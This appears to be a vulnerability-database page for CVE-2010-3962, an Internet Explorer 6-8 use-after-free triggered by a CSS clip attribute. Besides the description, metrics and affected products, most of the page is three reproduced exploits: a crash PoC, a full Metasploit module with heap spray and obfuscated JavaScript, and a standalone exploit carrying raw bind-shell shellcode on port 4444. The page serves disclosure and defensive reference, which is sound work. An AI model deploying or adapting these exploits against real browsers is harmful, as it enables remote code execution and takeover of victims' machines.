CVE-2010-3962 : Detail

CVE-2010-3962

Memory Corruption
97.14%V3
Network
2010-11-05
15h28 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
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CVE Descriptions

Use-after-free vulnerability in Microsoft Internet Explorer 6, 7, and 8 allows remote attackers to execute arbitrary code via vectors related to Cascading Style Sheets (CSS) token sequences and the clip attribute, aka an "invalid flag reference" issue or "Uninitialized Memory Corruption Vulnerability," as exploited in the wild in November 2010.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 15418

Publication date : 2010-11-03 23h00 +00:00
Author : anonymous
EDB Verified : Yes

<html> <table style=position:absolute;clip:rect(0)> </html>
Exploit Database EDB-ID : 16551

Publication date : 2011-01-19 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: ms10_090_ie_css_clip.rb 11610 2011-01-20 19:30:59Z egypt $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "7.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :vuln_test => nil, # no way to test without just trying it }) def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer CSS SetUserClip Memory Corruption', 'Description' => %q{ Thie module exploits a memory corruption vulnerability within Microsoft's HTML engine (mshtml). When parsing an HTML page containing a specially crafted CSS tag, memory corruption occurs that can lead arbitrary code execution. It seems like Microsoft code inadvertantly increments a vtable pointer to point to an unaligned address within the vtable's function pointers. This leads to the program counter being set to the address determined by the address "[vtable+0x30+1]". The particular address depends on the exact version of the mshtml library in use. Since the address depends on the version of mshtml, some versions may not be exploitable. Specifically, those ending up with a program counter value within another module, in kernel space, or just not able to be reached with various memory spraying techniques. Also, since the address is not controllable, it is unlikely to be possible to use ROP to bypass non-executable memory protections. }, 'License' => MSF_LICENSE, 'Author' => [ 'unknown', # discovered in the wild '@yuange1975', # PoC posted to twitter 'Matteo Memelli', # exploit-db version 'jduck' # Metasploit module ], 'Version' => '$Revision: 11610 $', 'References' => [ [ 'CVE', '2010-3962' ], [ 'OSVDB', '68987' ], [ 'BID', '44536' ], [ 'URL', 'http://www.microsoft.com/technet/security/advisory/2458511.mspx' ], [ 'URL', 'http://www.exploit-db.com/exploits/15421/' ], [ 'MSB', 'MS10-090' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], # # Special target, we put it first so its index doesn't change. # [ 'Debug', { 'Ret' => 0x00010101, # tiny spray, sure to crash :) } ], # # In the targets below, 'Ret' means where EIP ends up (not under our control) # [ 'Internet Explorer 6', { 'Ret' => 0x5c7dc9d0, # mshtml.dll 6.0.2900.3698 @ ? #'Ret' => 0x307dc9c5, # mshtml.dll 6.0.2900.5848 @ 0x7dc30000 #'Ret' => 0x0e7dc9cd, # mshtml.dll 6.0.2900.6036 @ 0x7dc30000 } ], [ 'Internet Explorer 7', { 'Ret' => 0x597e85f9, # mshtml.dll 7.0.5730.13 @ 0x7e830000 } ], # # Although IE8 is affected, we don't currently have a working target for it. # =begin [ 'Internet Explorer 8 on Windows 7', { #'Ret' => 0x396392db, # mshtml.dll 8.0.7600.16671 @ 0x62f90000 'Ret' => 0x39696cd8, # mshtml.dll 8.0.7600.16671 @ 0x694e0000 #'Ret' => 0x7a6902d7, # mshtml.dll 8.00.7600.16385 @ 0x68e40000 } ] =end ], 'DisclosureDate' => 'Nov 3 2010', 'DefaultTarget' => 0)) end def auto_target(cli, request) mytarget = nil agent = request.headers['User-Agent'] #print_status("Checking user agent: #{agent}") if agent =~ /MSIE 6\.0/ mytarget = targets[2] # IE6 on NT, 2000, XP and 2003 elsif agent =~ /MSIE 7\.0/ mytarget = targets[3] # IE7 on XP and 2003 =begin elsif agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 6\.1/ mytarget = targets[4] # IE8 on Windows 7 =end else print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}") end mytarget end def on_request_uri(cli, request) mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) if (not mytarget) send_not_found(cli) return end end # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch)) # Set the return\nops ret = Rex::Text.to_unescape(make_nops(4)) # Construct the javascript js = <<-EOS var memory = new Array(); function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) { var index; var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16); var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16); while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; } while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; } var retSlide = unescape("#{ret}"); while (retSlide.length < heapBlockSize) { retSlide += retSlide; } retSlide = retSlide.substring(0, heapBlockSize - shellcode.length); var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize; for (index = 0; index < heapBlockCnt; index++) { memory[index] = retSlide + shellcode; } } var shellcode = unescape("#{shellcode}"); sprayHeap(shellcode, #{mytarget.ret}, 0x400000 - (shellcode.length + 0x38)); document.write("<table style=position:absolute;clip:rect(0)>"); EOS opts = { 'Symbols' => { 'Variables' => %w{ shellcode retSlide payLoadSize memory index heapSprayAddr_lo heapSprayAddr_hi heapSprayAddr heapBlockSize heapBlockCnt }, 'Methods' => %w{ sprayHeap } } } js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) #js.obfuscate() # Construct the final page html = <<-EOS <html> <body> <script language='javascript'> #{js} </script> </body> </html> EOS # Transmit the compressed response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end
Exploit Database EDB-ID : 15421

Publication date : 2010-11-03 23h00 +00:00
Author : ryujin
EDB Verified : Yes

# Internet Explorer Memory Corruption 0day Vulnerability CVE-2010-3962 # Tested on Windows XP SP3 IE6 IE7 IE8 # Coded by Matteo Memelli ryujin __at__ offsec.com # http://www.offensive-security.com/0day/ie-0day.txt # Thx to dookie __at__ offsec.com # notes : This is a quick and dirty exploit! No DEP/ASLR bypass here feel free to improve it <!-- Tested on IE6/IE7/IE8 XPSP3 quick and dirty sploit for CVE-2010-3962 zeroday Note: The EIP value at crash time is not controllable and depends on the exact version of the mshtml library used by IE; this means that the exploit is not universal for the IE versions indicated hereunder. A huge spray will probably be more successful on different versions of mshtml but will definetly slow down the exploitation. IE6 on XP SP2: mshtml.dll Version 6.0.2900.5512 EIP: 0x0D7DC9C9 IE6 on XP SP3: mshtml.dll Version 6.00.2900.6036 Patched 06Nov10 EIP: 0x0E7DC9CD IE7 on XP SP3: mshtml.dll Version 7.00.6000.17080 EIP: 0x303CEEBB IE8 on XP SP3: mshtml.dll Version 8.00.6001.18939 EIP: 0x1D3CF5BD IE8 on XP SP3 Patched 06Nov10: mshtml.dll Version 8.00.6001.18975 EIP: 0x4D3CF5BF Matteo Memelli, ryujin __at__ offsec.com thx to dookie __at__ offsec.com //--> <html> <head><title>poc CVE-2010-3962 zeroday</title> <script> function alloc(bytes, mystr) { // Bindshell on port 4444 var shellcode = unescape('%u9090%u9090%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b'+ '%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b'+ '%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34'+ '%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301'+ '%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a'+ '%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4'+ '%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u31c7%u53db%u0268'+ '%u1100%u895c%u6ae6%u5610%u6857%udbc2%u6737%ud5ff%u5753%ub768%u38e9%uffff%u53d5%u5753%u7468'+ '%u3bec%uffe1%u57d5%uc789%u7568%u4d6e%uff61%u68d5%u6d63%u0064%ue389%u5757%u3157%u6af6%u5912'+ '%ue256%u66fd%u44c7%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650%u5656%u5646%u564e%u5356%u6856'+ '%ucc79%u863f%ud5ff%ue089%u564e%uff46%u6830%u8708%u601d%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd'+ '%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u41d5'); while (mystr.length< bytes) mystr += mystr; return mystr.substr(0, (bytes-6)/2) + shellcode; } </script> </head> <body> <script> alert('ph33r: click me'); var evil = new Array(); var FAKEOBJ = unescape("%u0d0d%u0d0d"); //FAKEOBJ = alloc(233120, FAKEOBJ); // IE6 mshtml.dll Version 6.0.2900.5512 //FAKEOBJ = alloc(241748, FAKEOBJ); // IE6 mshtml.dll Version 6.00.2900.6036 //FAKEOBJ = alloc(733120, FAKEOBJ); // IE7 mshtml.dll Version 7.00.6000.17080 //FAKEOBJ = alloc(433120, FAKEOBJ); // IE8 mshtml.dll Version 8.00.6001.18939 FAKEOBJ = alloc(1294464, FAKEOBJ); // IE8 mshtml.dll Version 8.00.6001.18975 //FAKEOBJ = alloc(1550371, FAKEOBJ); // oy oy oy huge spray! for (var k = 0; k < 1000; k++) { evil[k] = FAKEOBJ.substr(0, FAKEOBJ.length); } document.write("<table style=position:absolute;clip:rect(0)>"); </script> </body> </html>

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 7

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 8

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

References

http://www.securityfocus.com/bid/44536
Tags : vdb-entry, x_refsource_BID
http://www.us-cert.gov/cas/techalerts/TA10-348A.html
Tags : third-party-advisory, x_refsource_CERT
http://www.kb.cert.org/vuls/id/899748
Tags : third-party-advisory, x_refsource_CERT-VN
http://secunia.com/advisories/42091
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2010/2880
Tags : vdb-entry, x_refsource_VUPEN
http://www.securitytracker.com/id?1024676
Tags : vdb-entry, x_refsource_SECTRACK
http://www.exploit-db.com/exploits/15421
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.exploit-db.com/exploits/15418
Tags : exploit, x_refsource_EXPLOIT-DB